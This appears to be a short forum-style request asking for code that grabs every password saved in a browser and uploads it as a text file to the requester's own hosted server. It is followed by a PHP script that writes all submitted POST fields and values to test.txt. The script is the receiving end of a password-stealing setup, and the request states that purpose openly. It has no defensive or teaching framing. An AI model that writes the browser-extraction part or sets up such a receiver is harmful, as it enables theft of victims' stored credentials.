Please create a code that has get all passwords stored in browser and then get as txt file in my hosted using php file with all functions as online

<?php
$handle = fopen("test.txt", "w");
foreach($_POST as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>